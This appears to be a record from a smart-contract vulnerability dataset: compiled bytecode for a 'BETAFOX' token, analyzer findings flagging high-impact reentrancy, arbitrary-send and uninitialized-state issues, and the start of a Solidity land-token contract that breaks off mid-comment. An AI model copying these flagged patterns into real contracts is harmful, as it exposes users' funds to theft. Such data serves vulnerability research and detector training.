0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b604051610130919061311d565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612ca4565b610418565b60405161016d9190613102565b60405180910390f35b34801561018257600080fd5b5061018b610436565b604051610198919061329f565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612c55565b610447565b6040516101d59190613102565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b6040516102009190613314565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612ce0565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612bc7565b61064d565b60405161027d919061329f565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf9190613034565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea919061311d565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612ca4565b610857565b6040516103279190613102565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612d32565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612c19565b610b03565b6040516103bb919061329f565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600781526020017f42455441464f5800000000000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016138fe60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f439092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906131ff565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a81611fa7565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a2565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906131ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f42455441464f58f09fa68a000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612110565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906131ff565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906131ff565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906131bf565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061240a90919063ffffffff16565b61248590919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af8919061329f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906131ff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612bf0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612bf0565b6040518363ffffffff1660e01b8152600401610de492919061304f565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612bf0565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec969594939291906130a1565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612d5b565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506753444835ec580000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611040929190613078565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612d09565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111059061325f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111759061317f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c919061329f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d09061323f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113409061313f565b60405180910390fd5b6000811161138c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113839061321f565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8057601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a9061327f565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e426118809190613384565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611e7e576119ba60646119ac600461199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61240a90919063ffffffff16565b61248590919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b42613840600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d9190613384565b1015611ab9576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf057600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5190613533565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba89190613384565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e13565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce357600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8890613533565b9190505550611c2042611c9b9190613384565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e12565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611e1157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7b90613533565b9190505550613840600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd9190613384565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b611e1c81612110565b60004790506000811115611e3457611e3347611fa7565b5b611e7c600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124cf565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f275750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f3157600090505b611f3d848484846124f8565b50505050565b6000838311158290611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f82919061311d565b60405180910390fd5b5060008385611f9a9190613465565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ff760028461248590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612022573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61207360028461248590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561209e573d6000803e3d6000fd5b5050565b60006006548211156120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09061315f565b60405180910390fd5b60006120f3612537565b9050612108818461248590919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561216e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561219c5781602001602082028036833780820191505090505b50905030816000815181106121da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561227c57600080fd5b505afa158015612290573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122b49190612bf0565b816001815181106122ee577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061235530601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123b99594939291906132ba565b600060405180830381600087803b1580156123d357600080fd5b505af11580156123e7573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b60008083141561241d576000905061247f565b6000828461242b919061340b565b905082848261243a91906133da565b1461247a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612471906131df565b60405180910390fd5b809150505b92915050565b60006124c783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612562565b905092915050565b806008546124dd919061340b565b60088190555060018111156124f557600a6009819055505b50565b80612506576125056125c5565b5b6125118484846125f6565b8061251f5761251e612525565b5b50505050565b60076008819055506005600981905550565b60008060006125446127c1565b9150915061255b818361248590919063ffffffff16565b9250505090565b600080831182906125a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a0919061311d565b60405180910390fd5b50600083856125b891906133da565b9050809150509392505050565b60006008541480156125d957506000600954145b156125e3576125f4565b600060088190555060006009819055505b565b60008060008060008061260887612823565b95509550955095509550955061266686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461288b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126fb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061274781612933565b61275184836129f0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127ae919061329f565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506127f7683635c9adc5dea0000060065461248590919063ffffffff16565b82101561281657600654683635c9adc5dea0000093509350505061281f565b81819350935050505b9091565b60008060008060008060008060006128408a600854600954612a2a565b9250925092506000612850612537565b905060008060006128638e878787612ac0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128cd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f43565b905092915050565b60008082846128e49190613384565b905083811015612929576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129209061319f565b60405180910390fd5b8091505092915050565b600061293d612537565b90506000612954828461240a90919063ffffffff16565b90506129a881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a058260065461288b90919063ffffffff16565b600681905550612a20816007546128d590919063ffffffff16565b6007819055505050565b600080600080612a566064612a48888a61240a90919063ffffffff16565b61248590919063ffffffff16565b90506000612a806064612a72888b61240a90919063ffffffff16565b61248590919063ffffffff16565b90506000612aa982612a9b858c61288b90919063ffffffff16565b61288b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ad9858961240a90919063ffffffff16565b90506000612af0868961240a90919063ffffffff16565b90506000612b07878961240a90919063ffffffff16565b90506000612b3082612b22858761288b90919063ffffffff16565b61288b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612b58816138b8565b92915050565b600081519050612b6d816138b8565b92915050565b600081359050612b82816138cf565b92915050565b600081519050612b97816138cf565b92915050565b600081359050612bac816138e6565b92915050565b600081519050612bc1816138e6565b92915050565b600060208284031215612bd957600080fd5b6000612be784828501612b49565b91505092915050565b600060208284031215612c0257600080fd5b6000612c1084828501612b5e565b91505092915050565b60008060408385031215612c2c57600080fd5b6000612c3a85828601612b49565b9250506020612c4b85828601612b49565b9150509250929050565b600080600060608486031215612c6a57600080fd5b6000612c7886828701612b49565b9350506020612c8986828701612b49565b9250506040612c9a86828701612b9d565b9150509250925092565b60008060408385031215612cb757600080fd5b6000612cc585828601612b49565b9250506020612cd685828601612b9d565b9150509250929050565b600060208284031215612cf257600080fd5b6000612d0084828501612b73565b91505092915050565b600060208284031215612d1b57600080fd5b6000612d2984828501612b88565b91505092915050565b600060208284031215612d4457600080fd5b6000612d5284828501612b9d565b91505092915050565b600080600060608486031215612d7057600080fd5b6000612d7e86828701612bb2565b9350506020612d8f86828701612bb2565b9250506040612da086828701612bb2565b9150509250925092565b6000612db68383612dc2565b60208301905092915050565b612dcb81613499565b82525050565b612dda81613499565b82525050565b6000612deb8261333f565b612df58185613362565b9350612e008361332f565b8060005b83811015612e31578151612e188882612daa565b9750612e2383613355565b925050600181019050612e04565b5085935050505092915050565b612e47816134ab565b82525050565b612e56816134ee565b82525050565b6000612e678261334a565b612e718185613373565b9350612e81818560208601613500565b612e8a816135da565b840191505092915050565b6000612ea2602383613373565b9150612ead826135eb565b604082019050919050565b6000612ec5602a83613373565b9150612ed08261363a565b604082019050919050565b6000612ee8602283613373565b9150612ef382613689565b604082019050919050565b6000612f0b601b83613373565b9150612f16826136d8565b602082019050919050565b6000612f2e601d83613373565b9150612f3982613701565b602082019050919050565b6000612f51602183613373565b9150612f5c8261372a565b604082019050919050565b6000612f74602083613373565b9150612f7f82613779565b602082019050919050565b6000612f97602983613373565b9150612fa2826137a2565b604082019050919050565b6000612fba602583613373565b9150612fc5826137f1565b604082019050919050565b6000612fdd602483613373565b9150612fe882613840565b604082019050919050565b6000613000601183613373565b915061300b8261388f565b602082019050919050565b61301f816134d7565b82525050565b61302e816134e1565b82525050565b60006020820190506130496000830184612dd1565b92915050565b60006040820190506130646000830185612dd1565b6130716020830184612dd1565b9392505050565b600060408201905061308d6000830185612dd1565b61309a6020830184613016565b9392505050565b600060c0820190506130b66000830189612dd1565b6130c36020830188613016565b6130d06040830187612e4d565b6130dd6060830186612e4d565b6130ea6080830185612dd1565b6130f760a0830184613016565b979650505050505050565b60006020820190506131176000830184612e3e565b92915050565b600060208201905081810360008301526131378184612e5c565b905092915050565b6000602082019050818103600083015261315881612e95565b9050919050565b6000602082019050818103600083015261317881612eb8565b9050919050565b6000602082019050818103600083015261319881612edb565b9050919050565b600060208201905081810360008301526131b881612efe565b9050919050565b600060208201905081810360008301526131d881612f21565b9050919050565b600060208201905081810360008301526131f881612f44565b9050919050565b6000602082019050818103600083015261321881612f67565b9050919050565b6000602082019050818103600083015261323881612f8a565b9050919050565b6000602082019050818103600083015261325881612fad565b9050919050565b6000602082019050818103600083015261327881612fd0565b9050919050565b6000602082019050818103600083015261329881612ff3565b9050919050565b60006020820190506132b46000830184613016565b92915050565b600060a0820190506132cf6000830188613016565b6132dc6020830187612e4d565b81810360408301526132ee8186612de0565b90506132fd6060830185612dd1565b61330a6080830184613016565b9695505050505050565b60006020820190506133296000830184613025565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061338f826134d7565b915061339a836134d7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133cf576133ce61357c565b5b828201905092915050565b60006133e5826134d7565b91506133f0836134d7565b925082613400576133ff6135ab565b5b828204905092915050565b6000613416826134d7565b9150613421836134d7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561345a5761345961357c565b5b828202905092915050565b6000613470826134d7565b915061347b836134d7565b92508282101561348e5761348d61357c565b5b828203905092915050565b60006134a4826134b7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134f9826134d7565b9050919050565b60005b8381101561351e578082015181840152602081019050613503565b8381111561352d576000848401525b50505050565b600061353e826134d7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135715761357061357c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6138c181613499565b81146138cc57600080fd5b50565b6138d8816134ab565b81146138e357600080fd5b50565b6138ef816134d7565b81146138fa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071a96a6e9c0fcf64f57101dcb8ebb591c17ee7d4c5a2db113d22ed58016548fe64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,874
0xdf5d68d54433661b1e5e90a547237ffb0adf6ec2
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; mapping(address => bool) admins; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event AddAdmin(address indexed admin); event DelAdmin(address indexed admin); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyAdmin() { require(isAdmin(msg.sender)); _; } function addAdmin(address _adminAddress) external onlyOwner { require(_adminAddress != address(0)); admins[_adminAddress] = true; emit AddAdmin(_adminAddress); } function delAdmin(address _adminAddress) external onlyOwner { require(admins[_adminAddress]); admins[_adminAddress] = false; emit DelAdmin(_adminAddress); } function isAdmin(address _adminAddress) public view returns (bool) { return admins[_adminAddress]; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } interface tokenRecipient { function receiveApproval(address _from, address _token, uint _value, bytes _extraData) external; function receiveCreateAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) external; function receiveCreateAuctionFromArray(address _from, address _token, uint[] _landIds, uint _startPrice, uint _duration) external; } contract ERC721 { function implementsERC721() public pure returns (bool); function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) public view returns (address owner); function approve(address _to, uint256 _tokenId) public returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool); function transfer(address _to, uint256 _tokenId) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } contract LandBase is ERC721, Ownable { using SafeMath for uint; event NewLand(address indexed owner, uint256 landId); struct Land { uint id; } // Total amount of lands uint256 private totalLands; // Incremental counter of lands Id uint256 private lastLandId; //Mapping from land ID to Land struct mapping(uint256 => Land) public lands; // Mapping from land ID to owner mapping(uint256 => address) private landOwner; // Mapping from land ID to approved address mapping(uint256 => address) private landApprovals; // Mapping from owner to list of owned lands IDs mapping(address => uint256[]) private ownedLands; // Mapping from land ID to index of the owner lands list // т.е. ID земли => порядковый номер в списке владельца mapping(uint256 => uint256) private ownedLandsIndex; modifier onlyOwnerOf(uint256 _tokenId) { require(owns(msg.sender, _tokenId)); _; } /** * @dev Gets the owner of the specified land ID * @param _tokenId 